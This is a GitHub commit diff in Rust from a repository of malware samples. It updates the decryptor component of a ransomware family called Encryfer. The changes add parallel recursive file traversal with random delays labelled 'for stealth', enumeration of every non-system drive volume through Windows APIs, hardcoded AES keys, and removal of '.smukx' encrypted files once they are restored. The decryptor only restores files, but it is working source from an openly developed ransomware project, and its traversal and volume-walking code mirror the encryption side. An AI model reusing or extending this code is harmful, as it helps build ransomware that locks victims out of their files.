@@ -17,6 +17,14 @@ pub fn decrypt_aes(file_data: &[u8], key: &[u8; 32]) -> Vec<u8> {
1717
decrypted_data.extend_from_slice(&decrypted_block);
1818
}
1919

20+
// Remove padding (PKCS7)
21+
if let Some(&padding_size) = decrypted_data.last() {
22+
let len = decrypted_data.len();
23+
if padding_size as usize <= len {
24+
decrypted_data.truncate(len - padding_size as usize);
25+
}
26+
}
27+
2028
decrypted_data
2129
}
2230

@@ -26,5 +34,12 @@ pub fn decrypt_chacha(file_data: &[u8], key: &[u8; 32], nonce: &[u8; 12]) -> Vec
2634
msg: file_data,
2735
aad: b"optional_data",
2836
};
29-
cipher.decrypt(nonce.into(), payload).expect("Decryption failed")
30-
}
37+
38+
match cipher.decrypt(nonce.into(), payload) {
39+
Ok(decrypted_data) => decrypted_data,
40+
Err(_) => {
41+
eprintln!("ChaCha decryption failed");
42+
Vec::new()
43+
}
44+
}
45+
}

‎Malware-Samples/Encryfer/Encyfer-X-Decryptor/src/file_operand.rs

Lines changed: 171 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -1,31 +1,124 @@
1-
use std::fs::{self, File};
1+
// use std::fs::File;
2+
// use std::io::{Read, Write};
3+
// use std::path::Path;
4+
// use std::thread;
5+
// use std::time::Duration;
6+
// use crate::decrypt::{decrypt_aes, decrypt_chacha};
7+
// use rand::Rng;
8+
// use rayon::prelude::*;
9+
10+
// fn random_delay() {
11+
// let mut rng = rand::thread_rng();
12+
// let delay = rng.gen_range(10..100); // delay between 10 to 100ms
13+
// std::thread::sleep(std::time::Duration::from_millis(delay));
14+
// }
15+
16+
// pub fn recursive_decrypt(dir: &Path, key: &[u8; 32], chacha_key: &[u8; 32], chacha_nonce: &[u8; 12]) {
17+
// if dir.is_dir() {
18+
// match std::fs::read_dir(dir) {
19+
// Ok(entries) => {
20+
// entries.par_bridge().for_each(|entry| {
21+
// random_delay(); // use the random delay here !
22+
// match entry {
23+
// Ok(entry) => {
24+
// let path = entry.path();
25+
// if path.is_dir() {
26+
// recursive_decrypt(&path, key, chacha_key, chacha_nonce);
27+
// } else {
28+
// decrypt_file(&path, key, chacha_key, chacha_nonce);
29+
// }
30+
// }
31+
// Err(e) => eprintln!("Failed to read entry: {}", e),
32+
// }
33+
// });
34+
// }
35+
// Err(e) => eprintln!("Failed to read directory '{}': {}", dir.display(), e),
36+
// }
37+
// }
38+
// }
39+
40+
// fn decrypt_file(file_path: &Path, key: &[u8; 32], chacha_key: &[u8; 32], chacha_nonce: &[u8; 12]) {
41+
// if file_path.extension().and_then(|ext| ext.to_str()) != Some("smukx") {
42+
// return;
43+
// }
44+
45+
// let mut file = match File::open(file_path) {
46+
// Ok(file) => file,
47+
// Err(_) => return,
48+
// };
49+
50+
// let mut contents = Vec::new();
51+
// if file.read_to_end(&mut contents).is_err() {
52+
// return;
53+
// }
54+
55+
// let decrypted_chacha = decrypt_chacha(&contents, chacha_key, chacha_nonce);
56+
// let decrypted_aes = decrypt_aes(&decrypted_chacha, key);
57+
58+
// let mut original_file_path = file_path.to_path_buf();
59+
// original_file_path.set_extension(""); // Remove .smukx extension
60+
61+
// let mut dec_file = match File::create(&original_file_path) {
62+
// Ok(file) => file,
63+
// Err(_) => return,
64+
// };
65+
// if dec_file.write_all(&decrypted_aes).is_err() {
66+
// return;
67+
// }
68+
69+
// std::fs::remove_file(file_path).unwrap_or_else(|_| ());
70+
// }
71+
72+
use std::ffi::OsString;
73+
use std::fs::{read_dir, File};
274
use std::io::{Read, Write};
75+
use std::os::windows::ffi::OsStringExt;
376
use std::path::Path;
77+
use std::ptr::null_mut;
78+
use std::thread;
79+
use std::time::Duration;
80+
use rand::Rng;
81+
use rayon::prelude::*;
82+
use winapi::um::errhandlingapi::GetLastError;
83+
use winapi::um::fileapi::{FindFirstVolumeW, FindNextVolumeW, FindVolumeClose, GetVolumePathNamesForVolumeNameW};
84+
use std::fs;
85+
486
use crate::decrypt::{decrypt_aes, decrypt_chacha};
587

88+
// Random delay for stealth
89+
fn random_delay() {
90+
let mut rng = rand::thread_rng();
91+
let delay = rng.gen_range(10..100); // Random delay between 10ms and 100ms
92+
thread::sleep(Duration::from_millis(delay));
93+
}
94+
95+
// Recursively decrypt files in a directory
696
pub fn recursive_decrypt(dir: &Path, key: &[u8; 32], chacha_key: &[u8; 32], chacha_nonce: &[u8; 12]) {
797
if dir.is_dir() {
8-
let entries = match fs::read_dir(dir) {
9-
Ok(entries) => entries,
10-
Err(_) => return,
11-
};
12-
13-
for entry in entries {
14-
let entry = match entry {
15-
Ok(entry) => entry,
16-
Err(_) => continue,
17-
};
18-
let path = entry.path();
19-
if path.is_dir() {
20-
recursive_decrypt(&path, key, chacha_key, chacha_nonce);
21-
} else {
22-
decrypt_file(&path, key, chacha_key, chacha_nonce);
98+
match read_dir(dir) {
99+
Ok(entries) => {
100+
entries.par_bridge().for_each(|entry| {
101+
random_delay(); // Random delay
102+
match entry {
103+
Ok(entry) => {
104+
let path = entry.path();
105+
if path.is_dir() {
106+
recursive_decrypt(&path, key, chacha_key, chacha_nonce); // Recurse into subdirectories
107+
} else {
108+
decrypt_file(&path, key, chacha_key, chacha_nonce);
109+
}
110+
}
111+
Err(e) => eprintln!("Failed to read entry: {}", e),
112+
}
113+
});
23114
}
115+
Err(e) => eprintln!("Failed to read directory '{}': {}", dir.display(), e),
24116
}
25117
}
26118
}
27119

28120
fn decrypt_file(file_path: &Path, key: &[u8; 32], chacha_key: &[u8; 32], chacha_nonce: &[u8; 12]) {
121+
29122
if file_path.extension().and_then(|ext| ext.to_str()) != Some("smukx") {
30123
return;
31124
}
@@ -57,3 +150,65 @@ fn decrypt_file(file_path: &Path, key: &[u8; 32], chacha_key: &[u8; 32], chacha_
57150
fs::remove_file(file_path).unwrap_or_else(|_| ());
58151
}
59152

153+
pub(crate) fn get_all_volumes() -> Vec<OsString>{
154+
155+
let mut drive_letters = Vec::new();
156+
let mut volume_name: [u16; 260] = [0; 260];
157+
let mut path_name: [u16; 260] = [0; 260];
158+
159+
unsafe{
160+
let volume_handle = FindFirstVolumeW(
161+
volume_name.as_mut_ptr(),
162+
260 as u32,
163+
);
164+
165+
if volume_handle != null_mut(){
166+
loop{
167+
// let name_length = volume_name.iter().position(|&c| c == 0).unwrap_or(260);
168+
169+
let result = GetVolumePathNamesForVolumeNameW(
170+
volume_name.as_ptr(),
171+
path_name.as_mut_ptr(),
172+
260 as u32,
173+
null_mut(),
174+
);
175+
176+
if result != 0{
177+
let mut start = 0;
178+
179+
while start < 260 {
180+
let path_name_length = path_name[start..].iter().position(|&c| c == 0).unwrap_or(260);
181+
182+
if path_name_length == 0{
183+
break;
184+
}
185+
186+
let path_name = OsString::from_wide(&path_name[start..start + path_name_length]);
187+
188+
if !path_name.to_string_lossy().starts_with("C:\\") && !path_name.to_string_lossy().is_empty(){
189+
drive_letters.push(path_name);
190+
}
191+
192+
start += path_name_length + 1;
193+
194+
}
195+
}
196+
let find_next_volume = FindNextVolumeW(
197+
volume_handle,
198+
volume_name.as_mut_ptr(),
199+
260 as u32
200+
);
201+
202+
if find_next_volume == 0{
203+
if GetLastError() == 18{
204+
break;
205+
}
206+
}
207+
}
208+
FindVolumeClose(volume_handle);
209+
}
210+
}
211+
// At last return the drive letter
212+
drive_letters
213+
214+
}

‎Malware-Samples/Encryfer/Encyfer-X-Decryptor/src/main.rs

Lines changed: 15 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
use std::path::Path;
22
use aes::Aes256;
33
use aes::cipher::{KeyIvInit, StreamCipher};
4+
use file_operand::get_all_volumes;
45
use hex::decode;
56
// use std::fs;
67
mod wall;
@@ -9,6 +10,7 @@ mod file_operand;
910

1011
type Aes256Ctr = ctr::Ctr128BE<Aes256>;
1112

13+
// Important C Paths !
1214
use dirs::{
1315
desktop_dir,
1416
download_dir,
@@ -32,6 +34,10 @@ fn main(){
3234
for dir in dirs_to_decrypt.iter().flatten(){
3335
decryptor(dir);
3436
}
37+
38+
// Decrypt volumes
39+
volume_paths();
40+
3541
wall::set_wallpaper();
3642
println!("Decryption process completed.");
3743
}
@@ -64,7 +70,6 @@ fn decrypt_hexa(keys: String)-> Vec<u8>{
6470
}
6571

6672
fn decryptor(dir_path: &Path){
67-
// let dir_path: &Path = Path::new("D:/maldev/Encrypor-X/test"); // Specify the directory you want to decrypt
6873

6974
let aes_key: [u8; 32] = [
7075
27, 20, 127, 230, 201, 208, 178, 24, 197, 76, 96, 12, 16, 47, 231, 42, 156, 36, 136, 165, 162, 223, 206, 190, 126, 59, 96, 99, 157, 122, 32, 165
@@ -85,3 +90,12 @@ fn decryptor(dir_path: &Path){
8590
);
8691
}
8792

93+
fn volume_paths(){
94+
if get_all_volumes().is_empty() {
95+
return;
96+
}
97+
98+
for volume in get_all_volumes() {
99+
decryptor(Path::new(&volume));
100+
}
101+
}

0 commit comments

Comments
 (0)
Please sign in to comment.